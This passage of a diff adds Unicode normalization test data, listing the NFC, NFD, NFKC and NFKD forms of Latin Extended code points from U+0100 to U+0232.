+{ source: [0x0100], NFC: [0x0100], NFD: [0x0041, 0x0304], NFKC: [0x0100], NFKD: [0x0041, 0x0304] },
+{ source: [0x0101], NFC: [0x0101], NFD: [0x0061, 0x0304], NFKC: [0x0101], NFKD: [0x0061, 0x0304] },
+{ source: [0x0102], NFC: [0x0102], NFD: [0x0041, 0x0306], NFKC: [0x0102], NFKD: [0x0041, 0x0306] },
+{ source: [0x0103], NFC: [0x0103], NFD: [0x0061, 0x0306], NFKC: [0x0103], NFKD: [0x0061, 0x0306] },
+{ source: [0x0104], NFC: [0x0104], NFD: [0x0041, 0x0328], NFKC: [0x0104], NFKD: [0x0041, 0x0328] },
+{ source: [0x0105], NFC: [0x0105], NFD: [0x0061, 0x0328], NFKC: [0x0105], NFKD: [0x0061, 0x0328] },
+{ source: [0x0106], NFC: [0x0106], NFD: [0x0043, 0x0301], NFKC: [0x0106], NFKD: [0x0043, 0x0301] },
+{ source: [0x0107], NFC: [0x0107], NFD: [0x0063, 0x0301], NFKC: [0x0107], NFKD: [0x0063, 0x0301] },
+{ source: [0x0108], NFC: [0x0108], NFD: [0x0043, 0x0302], NFKC: [0x0108], NFKD: [0x0043, 0x0302] },
+{ source: [0x0109], NFC: [0x0109], NFD: [0x0063, 0x0302], NFKC: [0x0109], NFKD: [0x0063, 0x0302] },
+{ source: [0x010A], NFC: [0x010A], NFD: [0x0043, 0x0307], NFKC: [0x010A], NFKD: [0x0043, 0x0307] },
+{ source: [0x010B], NFC: [0x010B], NFD: [0x0063, 0x0307], NFKC: [0x010B], NFKD: [0x0063, 0x0307] },
+{ source: [0x010C], NFC: [0x010C], NFD: [0x0043, 0x030C], NFKC: [0x010C], NFKD: [0x0043, 0x030C] },
+{ source: [0x010D], NFC: [0x010D], NFD: [0x0063, 0x030C], NFKC: [0x010D], NFKD: [0x0063, 0x030C] },
+{ source: [0x010E], NFC: [0x010E], NFD: [0x0044, 0x030C], NFKC: [0x010E], NFKD: [0x0044, 0x030C] },
+{ source: [0x010F], NFC: [0x010F], NFD: [0x0064, 0x030C], NFKC: [0x010F], NFKD: [0x0064, 0x030C] },
+{ source: [0x0112], NFC: [0x0112], NFD: [0x0045, 0x0304], NFKC: [0x0112], NFKD: [0x0045, 0x0304] },
+{ source: [0x0113], NFC: [0x0113], NFD: [0x0065, 0x0304], NFKC: [0x0113], NFKD: [0x0065, 0x0304] },
+{ source: [0x0114], NFC: [0x0114], NFD: [0x0045, 0x0306], NFKC: [0x0114], NFKD: [0x0045, 0x0306] },
+{ source: [0x0115], NFC: [0x0115], NFD: [0x0065, 0x0306], NFKC: [0x0115], NFKD: [0x0065, 0x0306] },
+{ source: [0x0116], NFC: [0x0116], NFD: [0x0045, 0x0307], NFKC: [0x0116], NFKD: [0x0045, 0x0307] },
+{ source: [0x0117], NFC: [0x0117], NFD: [0x0065, 0x0307], NFKC: [0x0117], NFKD: [0x0065, 0x0307] },
+{ source: [0x0118], NFC: [0x0118], NFD: [0x0045, 0x0328], NFKC: [0x0118], NFKD: [0x0045, 0x0328] },
+{ source: [0x0119], NFC: [0x0119], NFD: [0x0065, 0x0328], NFKC: [0x0119], NFKD: [0x0065, 0x0328] },
+{ source: [0x011A], NFC: [0x011A], NFD: [0x0045, 0x030C], NFKC: [0x011A], NFKD: [0x0045, 0x030C] },
+{ source: [0x011B], NFC: [0x011B], NFD: [0x0065, 0x030C], NFKC: [0x011B], NFKD: [0x0065, 0x030C] },
+{ source: [0x011C], NFC: [0x011C], NFD: [0x0047, 0x0302], NFKC: [0x011C], NFKD: [0x0047, 0x0302] },
+{ source: [0x011D], NFC: [0x011D], NFD: [0x0067, 0x0302], NFKC: [0x011D], NFKD: [0x0067, 0x0302] },
+{ source: [0x011E], NFC: [0x011E], NFD: [0x0047, 0x0306], NFKC: [0x011E], NFKD: [0x0047, 0x0306] },
+{ source: [0x011F], NFC: [0x011F], NFD: [0x0067, 0x0306], NFKC: [0x011F], NFKD: [0x0067, 0x0306] },
+{ source: [0x0120], NFC: [0x0120], NFD: [0x0047, 0x0307], NFKC: [0x0120], NFKD: [0x0047, 0x0307] },
+{ source: [0x0121], NFC: [0x0121], NFD: [0x0067, 0x0307], NFKC: [0x0121], NFKD: [0x0067, 0x0307] },
+{ source: [0x0122], NFC: [0x0122], NFD: [0x0047, 0x0327], NFKC: [0x0122], NFKD: [0x0047, 0x0327] },
+{ source: [0x0123], NFC: [0x0123], NFD: [0x0067, 0x0327], NFKC: [0x0123], NFKD: [0x0067, 0x0327] },
+{ source: [0x0124], NFC: [0x0124], NFD: [0x0048, 0x0302], NFKC: [0x0124], NFKD: [0x0048, 0x0302] },
+{ source: [0x0125], NFC: [0x0125], NFD: [0x0068, 0x0302], NFKC: [0x0125], NFKD: [0x0068, 0x0302] },
+{ source: [0x0128], NFC: [0x0128], NFD: [0x0049, 0x0303], NFKC: [0x0128], NFKD: [0x0049, 0x0303] },
+{ source: [0x0129], NFC: [0x0129], NFD: [0x0069, 0x0303], NFKC: [0x0129], NFKD: [0x0069, 0x0303] },
+{ source: [0x012A], NFC: [0x012A], NFD: [0x0049, 0x0304], NFKC: [0x012A], NFKD: [0x0049, 0x0304] },
+{ source: [0x012B], NFC: [0x012B], NFD: [0x0069, 0x0304], NFKC: [0x012B], NFKD: [0x0069, 0x0304] },
+{ source: [0x012C], NFC: [0x012C], NFD: [0x0049, 0x0306], NFKC: [0x012C], NFKD: [0x0049, 0x0306] },
+{ source: [0x012D], NFC: [0x012D], NFD: [0x0069, 0x0306], NFKC: [0x012D], NFKD: [0x0069, 0x0306] },
+{ source: [0x012E], NFC: [0x012E], NFD: [0x0049, 0x0328], NFKC: [0x012E], NFKD: [0x0049, 0x0328] },
+{ source: [0x012F], NFC: [0x012F], NFD: [0x0069, 0x0328], NFKC: [0x012F], NFKD: [0x0069, 0x0328] },
+{ source: [0x0130], NFC: [0x0130], NFD: [0x0049, 0x0307], NFKC: [0x0130], NFKD: [0x0049, 0x0307] },
+{ source: [0x0132], NFC: [0x0132], NFD: [0x0132], NFKC: [0x0049, 0x004A], NFKD: [0x0049, 0x004A] },
+{ source: [0x0133], NFC: [0x0133], NFD: [0x0133], NFKC: [0x0069, 0x006A], NFKD: [0x0069, 0x006A] },
+{ source: [0x0134], NFC: [0x0134], NFD: [0x004A, 0x0302], NFKC: [0x0134], NFKD: [0x004A, 0x0302] },
+{ source: [0x0135], NFC: [0x0135], NFD: [0x006A, 0x0302], NFKC: [0x0135], NFKD: [0x006A, 0x0302] },
+{ source: [0x0136], NFC: [0x0136], NFD: [0x004B, 0x0327], NFKC: [0x0136], NFKD: [0x004B, 0x0327] },
+{ source: [0x0137], NFC: [0x0137], NFD: [0x006B, 0x0327], NFKC: [0x0137], NFKD: [0x006B, 0x0327] },
+{ source: [0x0139], NFC: [0x0139], NFD: [0x004C, 0x0301], NFKC: [0x0139], NFKD: [0x004C, 0x0301] },
+{ source: [0x013A], NFC: [0x013A], NFD: [0x006C, 0x0301], NFKC: [0x013A], NFKD: [0x006C, 0x0301] },
+{ source: [0x013B], NFC: [0x013B], NFD: [0x004C, 0x0327], NFKC: [0x013B], NFKD: [0x004C, 0x0327] },
+{ source: [0x013C], NFC: [0x013C], NFD: [0x006C, 0x0327], NFKC: [0x013C], NFKD: [0x006C, 0x0327] },
+{ source: [0x013D], NFC: [0x013D], NFD: [0x004C, 0x030C], NFKC: [0x013D], NFKD: [0x004C, 0x030C] },
+{ source: [0x013E], NFC: [0x013E], NFD: [0x006C, 0x030C], NFKC: [0x013E], NFKD: [0x006C, 0x030C] },
+{ source: [0x013F], NFC: [0x013F], NFD: [0x013F], NFKC: [0x004C, 0x00B7], NFKD: [0x004C, 0x00B7] },
+{ source: [0x0140], NFC: [0x0140], NFD: [0x0140], NFKC: [0x006C, 0x00B7], NFKD: [0x006C, 0x00B7] },
+{ source: [0x0143], NFC: [0x0143], NFD: [0x004E, 0x0301], NFKC: [0x0143], NFKD: [0x004E, 0x0301] },
+{ source: [0x0144], NFC: [0x0144], NFD: [0x006E, 0x0301], NFKC: [0x0144], NFKD: [0x006E, 0x0301] },
+{ source: [0x0145], NFC: [0x0145], NFD: [0x004E, 0x0327], NFKC: [0x0145], NFKD: [0x004E, 0x0327] },
+{ source: [0x0146], NFC: [0x0146], NFD: [0x006E, 0x0327], NFKC: [0x0146], NFKD: [0x006E, 0x0327] },
+{ source: [0x0147], NFC: [0x0147], NFD: [0x004E, 0x030C], NFKC: [0x0147], NFKD: [0x004E, 0x030C] },
+{ source: [0x0148], NFC: [0x0148], NFD: [0x006E, 0x030C], NFKC: [0x0148], NFKD: [0x006E, 0x030C] },
+{ source: [0x0149], NFC: [0x0149], NFD: [0x0149], NFKC: [0x02BC, 0x006E], NFKD: [0x02BC, 0x006E] },
+{ source: [0x014C], NFC: [0x014C], NFD: [0x004F, 0x0304], NFKC: [0x014C], NFKD: [0x004F, 0x0304] },
+{ source: [0x014D], NFC: [0x014D], NFD: [0x006F, 0x0304], NFKC: [0x014D], NFKD: [0x006F, 0x0304] },
+{ source: [0x014E], NFC: [0x014E], NFD: [0x004F, 0x0306], NFKC: [0x014E], NFKD: [0x004F, 0x0306] },
+{ source: [0x014F], NFC: [0x014F], NFD: [0x006F, 0x0306], NFKC: [0x014F], NFKD: [0x006F, 0x0306] },
+{ source: [0x0150], NFC: [0x0150], NFD: [0x004F, 0x030B], NFKC: [0x0150], NFKD: [0x004F, 0x030B] },
+{ source: [0x0151], NFC: [0x0151], NFD: [0x006F, 0x030B], NFKC: [0x0151], NFKD: [0x006F, 0x030B] },
+{ source: [0x0154], NFC: [0x0154], NFD: [0x0052, 0x0301], NFKC: [0x0154], NFKD: [0x0052, 0x0301] },
+{ source: [0x0155], NFC: [0x0155], NFD: [0x0072, 0x0301], NFKC: [0x0155], NFKD: [0x0072, 0x0301] },
+{ source: [0x0156], NFC: [0x0156], NFD: [0x0052, 0x0327], NFKC: [0x0156], NFKD: [0x0052, 0x0327] },
+{ source: [0x0157], NFC: [0x0157], NFD: [0x0072, 0x0327], NFKC: [0x0157], NFKD: [0x0072, 0x0327] },
+{ source: [0x0158], NFC: [0x0158], NFD: [0x0052, 0x030C], NFKC: [0x0158], NFKD: [0x0052, 0x030C] },
+{ source: [0x0159], NFC: [0x0159], NFD: [0x0072, 0x030C], NFKC: [0x0159], NFKD: [0x0072, 0x030C] },
+{ source: [0x015A], NFC: [0x015A], NFD: [0x0053, 0x0301], NFKC: [0x015A], NFKD: [0x0053, 0x0301] },
+{ source: [0x015B], NFC: [0x015B], NFD: [0x0073, 0x0301], NFKC: [0x015B], NFKD: [0x0073, 0x0301] },
+{ source: [0x015C], NFC: [0x015C], NFD: [0x0053, 0x0302], NFKC: [0x015C], NFKD: [0x0053, 0x0302] },
+{ source: [0x015D], NFC: [0x015D], NFD: [0x0073, 0x0302], NFKC: [0x015D], NFKD: [0x0073, 0x0302] },
+{ source: [0x015E], NFC: [0x015E], NFD: [0x0053, 0x0327], NFKC: [0x015E], NFKD: [0x0053, 0x0327] },
+{ source: [0x015F], NFC: [0x015F], NFD: [0x0073, 0x0327], NFKC: [0x015F], NFKD: [0x0073, 0x0327] },
+{ source: [0x0160], NFC: [0x0160], NFD: [0x0053, 0x030C], NFKC: [0x0160], NFKD: [0x0053, 0x030C] },
+{ source: [0x0161], NFC: [0x0161], NFD: [0x0073, 0x030C], NFKC: [0x0161], NFKD: [0x0073, 0x030C] },
+{ source: [0x0162], NFC: [0x0162], NFD: [0x0054, 0x0327], NFKC: [0x0162], NFKD: [0x0054, 0x0327] },
+{ source: [0x0163], NFC: [0x0163], NFD: [0x0074, 0x0327], NFKC: [0x0163], NFKD: [0x0074, 0x0327] },
+{ source: [0x0164], NFC: [0x0164], NFD: [0x0054, 0x030C], NFKC: [0x0164], NFKD: [0x0054, 0x030C] },
+{ source: [0x0165], NFC: [0x0165], NFD: [0x0074, 0x030C], NFKC: [0x0165], NFKD: [0x0074, 0x030C] },
+{ source: [0x0168], NFC: [0x0168], NFD: [0x0055, 0x0303], NFKC: [0x0168], NFKD: [0x0055, 0x0303] },
+{ source: [0x0169], NFC: [0x0169], NFD: [0x0075, 0x0303], NFKC: [0x0169], NFKD: [0x0075, 0x0303] },
+{ source: [0x016A], NFC: [0x016A], NFD: [0x0055, 0x0304], NFKC: [0x016A], NFKD: [0x0055, 0x0304] },
+{ source: [0x016B], NFC: [0x016B], NFD: [0x0075, 0x0304], NFKC: [0x016B], NFKD: [0x0075, 0x0304] },
+{ source: [0x016C], NFC: [0x016C], NFD: [0x0055, 0x0306], NFKC: [0x016C], NFKD: [0x0055, 0x0306] },
+{ source: [0x016D], NFC: [0x016D], NFD: [0x0075, 0x0306], NFKC: [0x016D], NFKD: [0x0075, 0x0306] },
+{ source: [0x016E], NFC: [0x016E], NFD: [0x0055, 0x030A], NFKC: [0x016E], NFKD: [0x0055, 0x030A] },
+{ source: [0x016F], NFC: [0x016F], NFD: [0x0075, 0x030A], NFKC: [0x016F], NFKD: [0x0075, 0x030A] },
+{ source: [0x0170], NFC: [0x0170], NFD: [0x0055, 0x030B], NFKC: [0x0170], NFKD: [0x0055, 0x030B] },
+{ source: [0x0171], NFC: [0x0171], NFD: [0x0075, 0x030B], NFKC: [0x0171], NFKD: [0x0075, 0x030B] },
+{ source: [0x0172], NFC: [0x0172], NFD: [0x0055, 0x0328], NFKC: [0x0172], NFKD: [0x0055, 0x0328] },
+{ source: [0x0173], NFC: [0x0173], NFD: [0x0075, 0x0328], NFKC: [0x0173], NFKD: [0x0075, 0x0328] },
+{ source: [0x0174], NFC: [0x0174], NFD: [0x0057, 0x0302], NFKC: [0x0174], NFKD: [0x0057, 0x0302] },
+{ source: [0x0175], NFC: [0x0175], NFD: [0x0077, 0x0302], NFKC: [0x0175], NFKD: [0x0077, 0x0302] },
+{ source: [0x0176], NFC: [0x0176], NFD: [0x0059, 0x0302], NFKC: [0x0176], NFKD: [0x0059, 0x0302] },
+{ source: [0x0177], NFC: [0x0177], NFD: [0x0079, 0x0302], NFKC: [0x0177], NFKD: [0x0079, 0x0302] },
+{ source: [0x0178], NFC: [0x0178], NFD: [0x0059, 0x0308], NFKC: [0x0178], NFKD: [0x0059, 0x0308] },
+{ source: [0x0179], NFC: [0x0179], NFD: [0x005A, 0x0301], NFKC: [0x0179], NFKD: [0x005A, 0x0301] },
+{ source: [0x017A], NFC: [0x017A], NFD: [0x007A, 0x0301], NFKC: [0x017A], NFKD: [0x007A, 0x0301] },
+{ source: [0x017B], NFC: [0x017B], NFD: [0x005A, 0x0307], NFKC: [0x017B], NFKD: [0x005A, 0x0307] },
+{ source: [0x017C], NFC: [0x017C], NFD: [0x007A, 0x0307], NFKC: [0x017C], NFKD: [0x007A, 0x0307] },
+{ source: [0x017D], NFC: [0x017D], NFD: [0x005A, 0x030C], NFKC: [0x017D], NFKD: [0x005A, 0x030C] },
+{ source: [0x017E], NFC: [0x017E], NFD: [0x007A, 0x030C], NFKC: [0x017E], NFKD: [0x007A, 0x030C] },
+{ source: [0x017F], NFC: [0x017F], NFD: [0x017F], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x01A0], NFC: [0x01A0], NFD: [0x004F, 0x031B], NFKC: [0x01A0], NFKD: [0x004F, 0x031B] },
+{ source: [0x01A1], NFC: [0x01A1], NFD: [0x006F, 0x031B], NFKC: [0x01A1], NFKD: [0x006F, 0x031B] },
+{ source: [0x01AF], NFC: [0x01AF], NFD: [0x0055, 0x031B], NFKC: [0x01AF], NFKD: [0x0055, 0x031B] },
+{ source: [0x01B0], NFC: [0x01B0], NFD: [0x0075, 0x031B], NFKC: [0x01B0], NFKD: [0x0075, 0x031B] },
+{ source: [0x01C4], NFC: [0x01C4], NFD: [0x01C4], NFKC: [0x0044, 0x017D], NFKD: [0x0044, 0x005A, 0x030C] },
+{ source: [0x01C5], NFC: [0x01C5], NFD: [0x01C5], NFKC: [0x0044, 0x017E], NFKD: [0x0044, 0x007A, 0x030C] },
+{ source: [0x01C6], NFC: [0x01C6], NFD: [0x01C6], NFKC: [0x0064, 0x017E], NFKD: [0x0064, 0x007A, 0x030C] },
+{ source: [0x01C7], NFC: [0x01C7], NFD: [0x01C7], NFKC: [0x004C, 0x004A], NFKD: [0x004C, 0x004A] },
+{ source: [0x01C8], NFC: [0x01C8], NFD: [0x01C8], NFKC: [0x004C, 0x006A], NFKD: [0x004C, 0x006A] },
+{ source: [0x01C9], NFC: [0x01C9], NFD: [0x01C9], NFKC: [0x006C, 0x006A], NFKD: [0x006C, 0x006A] },
+{ source: [0x01CA], NFC: [0x01CA], NFD: [0x01CA], NFKC: [0x004E, 0x004A], NFKD: [0x004E, 0x004A] },
+{ source: [0x01CB], NFC: [0x01CB], NFD: [0x01CB], NFKC: [0x004E, 0x006A], NFKD: [0x004E, 0x006A] },
+{ source: [0x01CC], NFC: [0x01CC], NFD: [0x01CC], NFKC: [0x006E, 0x006A], NFKD: [0x006E, 0x006A] },
+{ source: [0x01CD], NFC: [0x01CD], NFD: [0x0041, 0x030C], NFKC: [0x01CD], NFKD: [0x0041, 0x030C] },
+{ source: [0x01CE], NFC: [0x01CE], NFD: [0x0061, 0x030C], NFKC: [0x01CE], NFKD: [0x0061, 0x030C] },
+{ source: [0x01CF], NFC: [0x01CF], NFD: [0x0049, 0x030C], NFKC: [0x01CF], NFKD: [0x0049, 0x030C] },
+{ source: [0x01D0], NFC: [0x01D0], NFD: [0x0069, 0x030C], NFKC: [0x01D0], NFKD: [0x0069, 0x030C] },
+{ source: [0x01D1], NFC: [0x01D1], NFD: [0x004F, 0x030C], NFKC: [0x01D1], NFKD: [0x004F, 0x030C] },
+{ source: [0x01D2], NFC: [0x01D2], NFD: [0x006F, 0x030C], NFKC: [0x01D2], NFKD: [0x006F, 0x030C] },
+{ source: [0x01D3], NFC: [0x01D3], NFD: [0x0055, 0x030C], NFKC: [0x01D3], NFKD: [0x0055, 0x030C] },
+{ source: [0x01D4], NFC: [0x01D4], NFD: [0x0075, 0x030C], NFKC: [0x01D4], NFKD: [0x0075, 0x030C] },
+{ source: [0x01D5], NFC: [0x01D5], NFD: [0x0055, 0x0308, 0x0304], NFKC: [0x01D5], NFKD: [0x0055, 0x0308, 0x0304] },
+{ source: [0x01D6], NFC: [0x01D6], NFD: [0x0075, 0x0308, 0x0304], NFKC: [0x01D6], NFKD: [0x0075, 0x0308, 0x0304] },
+{ source: [0x01D7], NFC: [0x01D7], NFD: [0x0055, 0x0308, 0x0301], NFKC: [0x01D7], NFKD: [0x0055, 0x0308, 0x0301] },
+{ source: [0x01D8], NFC: [0x01D8], NFD: [0x0075, 0x0308, 0x0301], NFKC: [0x01D8], NFKD: [0x0075, 0x0308, 0x0301] },
+{ source: [0x01D9], NFC: [0x01D9], NFD: [0x0055, 0x0308, 0x030C], NFKC: [0x01D9], NFKD: [0x0055, 0x0308, 0x030C] },
+{ source: [0x01DA], NFC: [0x01DA], NFD: [0x0075, 0x0308, 0x030C], NFKC: [0x01DA], NFKD: [0x0075, 0x0308, 0x030C] },
+{ source: [0x01DB], NFC: [0x01DB], NFD: [0x0055, 0x0308, 0x0300], NFKC: [0x01DB], NFKD: [0x0055, 0x0308, 0x0300] },
+{ source: [0x01DC], NFC: [0x01DC], NFD: [0x0075, 0x0308, 0x0300], NFKC: [0x01DC], NFKD: [0x0075, 0x0308, 0x0300] },
+{ source: [0x01DE], NFC: [0x01DE], NFD: [0x0041, 0x0308, 0x0304], NFKC: [0x01DE], NFKD: [0x0041, 0x0308, 0x0304] },
+{ source: [0x01DF], NFC: [0x01DF], NFD: [0x0061, 0x0308, 0x0304], NFKC: [0x01DF], NFKD: [0x0061, 0x0308, 0x0304] },
+{ source: [0x01E0], NFC: [0x01E0], NFD: [0x0041, 0x0307, 0x0304], NFKC: [0x01E0], NFKD: [0x0041, 0x0307, 0x0304] },
+{ source: [0x01E1], NFC: [0x01E1], NFD: [0x0061, 0x0307, 0x0304], NFKC: [0x01E1], NFKD: [0x0061, 0x0307, 0x0304] },
+{ source: [0x01E2], NFC: [0x01E2], NFD: [0x00C6, 0x0304], NFKC: [0x01E2], NFKD: [0x00C6, 0x0304] },
+{ source: [0x01E3], NFC: [0x01E3], NFD: [0x00E6, 0x0304], NFKC: [0x01E3], NFKD: [0x00E6, 0x0304] },
+{ source: [0x01E6], NFC: [0x01E6], NFD: [0x0047, 0x030C], NFKC: [0x01E6], NFKD: [0x0047, 0x030C] },
+{ source: [0x01E7], NFC: [0x01E7], NFD: [0x0067, 0x030C], NFKC: [0x01E7], NFKD: [0x0067, 0x030C] },
+{ source: [0x01E8], NFC: [0x01E8], NFD: [0x004B, 0x030C], NFKC: [0x01E8], NFKD: [0x004B, 0x030C] },
+{ source: [0x01E9], NFC: [0x01E9], NFD: [0x006B, 0x030C], NFKC: [0x01E9], NFKD: [0x006B, 0x030C] },
+{ source: [0x01EA], NFC: [0x01EA], NFD: [0x004F, 0x0328], NFKC: [0x01EA], NFKD: [0x004F, 0x0328] },
+{ source: [0x01EB], NFC: [0x01EB], NFD: [0x006F, 0x0328], NFKC: [0x01EB], NFKD: [0x006F, 0x0328] },
+{ source: [0x01EC], NFC: [0x01EC], NFD: [0x004F, 0x0328, 0x0304], NFKC: [0x01EC], NFKD: [0x004F, 0x0328, 0x0304] },
+{ source: [0x01ED], NFC: [0x01ED], NFD: [0x006F, 0x0328, 0x0304], NFKC: [0x01ED], NFKD: [0x006F, 0x0328, 0x0304] },
+{ source: [0x01EE], NFC: [0x01EE], NFD: [0x01B7, 0x030C], NFKC: [0x01EE], NFKD: [0x01B7, 0x030C] },
+{ source: [0x01EF], NFC: [0x01EF], NFD: [0x0292, 0x030C], NFKC: [0x01EF], NFKD: [0x0292, 0x030C] },
+{ source: [0x01F0], NFC: [0x01F0], NFD: [0x006A, 0x030C], NFKC: [0x01F0], NFKD: [0x006A, 0x030C] },
+{ source: [0x01F1], NFC: [0x01F1], NFD: [0x01F1], NFKC: [0x0044, 0x005A], NFKD: [0x0044, 0x005A] },
+{ source: [0x01F2], NFC: [0x01F2], NFD: [0x01F2], NFKC: [0x0044, 0x007A], NFKD: [0x0044, 0x007A] },
+{ source: [0x01F3], NFC: [0x01F3], NFD: [0x01F3], NFKC: [0x0064, 0x007A], NFKD: [0x0064, 0x007A] },
+{ source: [0x01F4], NFC: [0x01F4], NFD: [0x0047, 0x0301], NFKC: [0x01F4], NFKD: [0x0047, 0x0301] },
+{ source: [0x01F5], NFC: [0x01F5], NFD: [0x0067, 0x0301], NFKC: [0x01F5], NFKD: [0x0067, 0x0301] },
+{ source: [0x01F8], NFC: [0x01F8], NFD: [0x004E, 0x0300], NFKC: [0x01F8], NFKD: [0x004E, 0x0300] },
+{ source: [0x01F9], NFC: [0x01F9], NFD: [0x006E, 0x0300], NFKC: [0x01F9], NFKD: [0x006E, 0x0300] },
+{ source: [0x01FA], NFC: [0x01FA], NFD: [0x0041, 0x030A, 0x0301], NFKC: [0x01FA], NFKD: [0x0041, 0x030A, 0x0301] },
+{ source: [0x01FB], NFC: [0x01FB], NFD: [0x0061, 0x030A, 0x0301], NFKC: [0x01FB], NFKD: [0x0061, 0x030A, 0x0301] },
+{ source: [0x01FC], NFC: [0x01FC], NFD: [0x00C6, 0x0301], NFKC: [0x01FC], NFKD: [0x00C6, 0x0301] },
+{ source: [0x01FD], NFC: [0x01FD], NFD: [0x00E6, 0x0301], NFKC: [0x01FD], NFKD: [0x00E6, 0x0301] },
+{ source: [0x01FE], NFC: [0x01FE], NFD: [0x00D8, 0x0301], NFKC: [0x01FE], NFKD: [0x00D8, 0x0301] },
+{ source: [0x01FF], NFC: [0x01FF], NFD: [0x00F8, 0x0301], NFKC: [0x01FF], NFKD: [0x00F8, 0x0301] },
+{ source: [0x0200], NFC: [0x0200], NFD: [0x0041, 0x030F], NFKC: [0x0200], NFKD: [0x0041, 0x030F] },
+{ source: [0x0201], NFC: [0x0201], NFD: [0x0061, 0x030F], NFKC: [0x0201], NFKD: [0x0061, 0x030F] },
+{ source: [0x0202], NFC: [0x0202], NFD: [0x0041, 0x0311], NFKC: [0x0202], NFKD: [0x0041, 0x0311] },
+{ source: [0x0203], NFC: [0x0203], NFD: [0x0061, 0x0311], NFKC: [0x0203], NFKD: [0x0061, 0x0311] },
+{ source: [0x0204], NFC: [0x0204], NFD: [0x0045, 0x030F], NFKC: [0x0204], NFKD: [0x0045, 0x030F] },
+{ source: [0x0205], NFC: [0x0205], NFD: [0x0065, 0x030F], NFKC: [0x0205], NFKD: [0x0065, 0x030F] },
+{ source: [0x0206], NFC: [0x0206], NFD: [0x0045, 0x0311], NFKC: [0x0206], NFKD: [0x0045, 0x0311] },
+{ source: [0x0207], NFC: [0x0207], NFD: [0x0065, 0x0311], NFKC: [0x0207], NFKD: [0x0065, 0x0311] },
+{ source: [0x0208], NFC: [0x0208], NFD: [0x0049, 0x030F], NFKC: [0x0208], NFKD: [0x0049, 0x030F] },
+{ source: [0x0209], NFC: [0x0209], NFD: [0x0069, 0x030F], NFKC: [0x0209], NFKD: [0x0069, 0x030F] },
+{ source: [0x020A], NFC: [0x020A], NFD: [0x0049, 0x0311], NFKC: [0x020A], NFKD: [0x0049, 0x0311] },
+{ source: [0x020B], NFC: [0x020B], NFD: [0x0069, 0x0311], NFKC: [0x020B], NFKD: [0x0069, 0x0311] },
+{ source: [0x020C], NFC: [0x020C], NFD: [0x004F, 0x030F], NFKC: [0x020C], NFKD: [0x004F, 0x030F] },
+{ source: [0x020D], NFC: [0x020D], NFD: [0x006F, 0x030F], NFKC: [0x020D], NFKD: [0x006F, 0x030F] },
+{ source: [0x020E], NFC: [0x020E], NFD: [0x004F, 0x0311], NFKC: [0x020E], NFKD: [0x004F, 0x0311] },
+{ source: [0x020F], NFC: [0x020F], NFD: [0x006F, 0x0311], NFKC: [0x020F], NFKD: [0x006F, 0x0311] },
+{ source: [0x0210], NFC: [0x0210], NFD: [0x0052, 0x030F], NFKC: [0x0210], NFKD: [0x0052, 0x030F] },
+{ source: [0x0211], NFC: [0x0211], NFD: [0x0072, 0x030F], NFKC: [0x0211], NFKD: [0x0072, 0x030F] },
+{ source: [0x0212], NFC: [0x0212], NFD: [0x0052, 0x0311], NFKC: [0x0212], NFKD: [0x0052, 0x0311] },
+{ source: [0x0213], NFC: [0x0213], NFD: [0x0072, 0x0311], NFKC: [0x0213], NFKD: [0x0072, 0x0311] },
+{ source: [0x0214], NFC: [0x0214], NFD: [0x0055, 0x030F], NFKC: [0x0214], NFKD: [0x0055, 0x030F] },
+{ source: [0x0215], NFC: [0x0215], NFD: [0x0075, 0x030F], NFKC: [0x0215], NFKD: [0x0075, 0x030F] },
+{ source: [0x0216], NFC: [0x0216], NFD: [0x0055, 0x0311], NFKC: [0x0216], NFKD: [0x0055, 0x0311] },
+{ source: [0x0217], NFC: [0x0217], NFD: [0x0075, 0x0311], NFKC: [0x0217], NFKD: [0x0075, 0x0311] },
+{ source: [0x0218], NFC: [0x0218], NFD: [0x0053, 0x0326], NFKC: [0x0218], NFKD: [0x0053, 0x0326] },
+{ source: [0x0219], NFC: [0x0219], NFD: [0x0073, 0x0326], NFKC: [0x0219], NFKD: [0x0073, 0x0326] },
+{ source: [0x021A], NFC: [0x021A], NFD: [0x0054, 0x0326], NFKC: [0x021A], NFKD: [0x0054, 0x0326] },
+{ source: [0x021B], NFC: [0x021B], NFD: [0x0074, 0x0326], NFKC: [0x021B], NFKD: [0x0074, 0x0326] },
+{ source: [0x021E], NFC: [0x021E], NFD: [0x0048, 0x030C], NFKC: [0x021E], NFKD: [0x0048, 0x030C] },
+{ source: [0x021F], NFC: [0x021F], NFD: [0x0068, 0x030C], NFKC: [0x021F], NFKD: [0x0068, 0x030C] },
+{ source: [0x0226], NFC: [0x0226], NFD: [0x0041, 0x0307], NFKC: [0x0226], NFKD: [0x0041, 0x0307] },
+{ source: [0x0227], NFC: [0x0227], NFD: [0x0061, 0x0307], NFKC: [0x0227], NFKD: [0x0061, 0x0307] },
+{ source: [0x0228], NFC: [0x0228], NFD: [0x0045, 0x0327], NFKC: [0x0228], NFKD: [0x0045, 0x0327] },
+{ source: [0x0229], NFC: [0x0229], NFD: [0x0065, 0x0327], NFKC: [0x0229], NFKD: [0x0065, 0x0327] },
+{ source: [0x022A], NFC: [0x022A], NFD: [0x004F, 0x0308, 0x0304], NFKC: [0x022A], NFKD: [0x004F, 0x0308, 0x0304] },
+{ source: [0x022B], NFC: [0x022B], NFD: [0x006F, 0x0308, 0x0304], NFKC: [0x022B], NFKD: [0x006F, 0x0308, 0x0304] },
+{ source: [0x022C], NFC: [0x022C], NFD: [0x004F, 0x0303, 0x0304], NFKC: [0x022C], NFKD: [0x004F, 0x0303, 0x0304] },
+{ source: [0x022D], NFC: [0x022D], NFD: [0x006F, 0x0303, 0x0304], NFKC: [0x022D], NFKD: [0x006F, 0x0303, 0x0304] },
+{ source: [0x022E], NFC: [0x022E], NFD: [0x004F, 0x0307], NFKC: [0x022E], NFKD: [0x004F, 0x0307] },
+{ source: [0x022F], NFC: [0x022F], NFD: [0x006F, 0x0307], NFKC: [0x022F], NFKD: [0x006F, 0x0307] },
+{ source: [0x0230], NFC: [0x0230], NFD: [0x004F, 0x0307, 0x0304], NFKC: [0x0230], NFKD: [0x004F, 0x0307, 0x0304] },
+{ source: [0x0231], NFC: [0x0231], NFD: [0x006F, 0x0307, 0x0304], NFKC: [0x0231], NFKD: [0x006F, 0x0307, 0x0304] },
+{ source: [0x0232], NFC: [0x0232], NFD: [0x0059, 0x0304], NFKC: [0x0232], NFKD: [0x0059, 0x0304] },
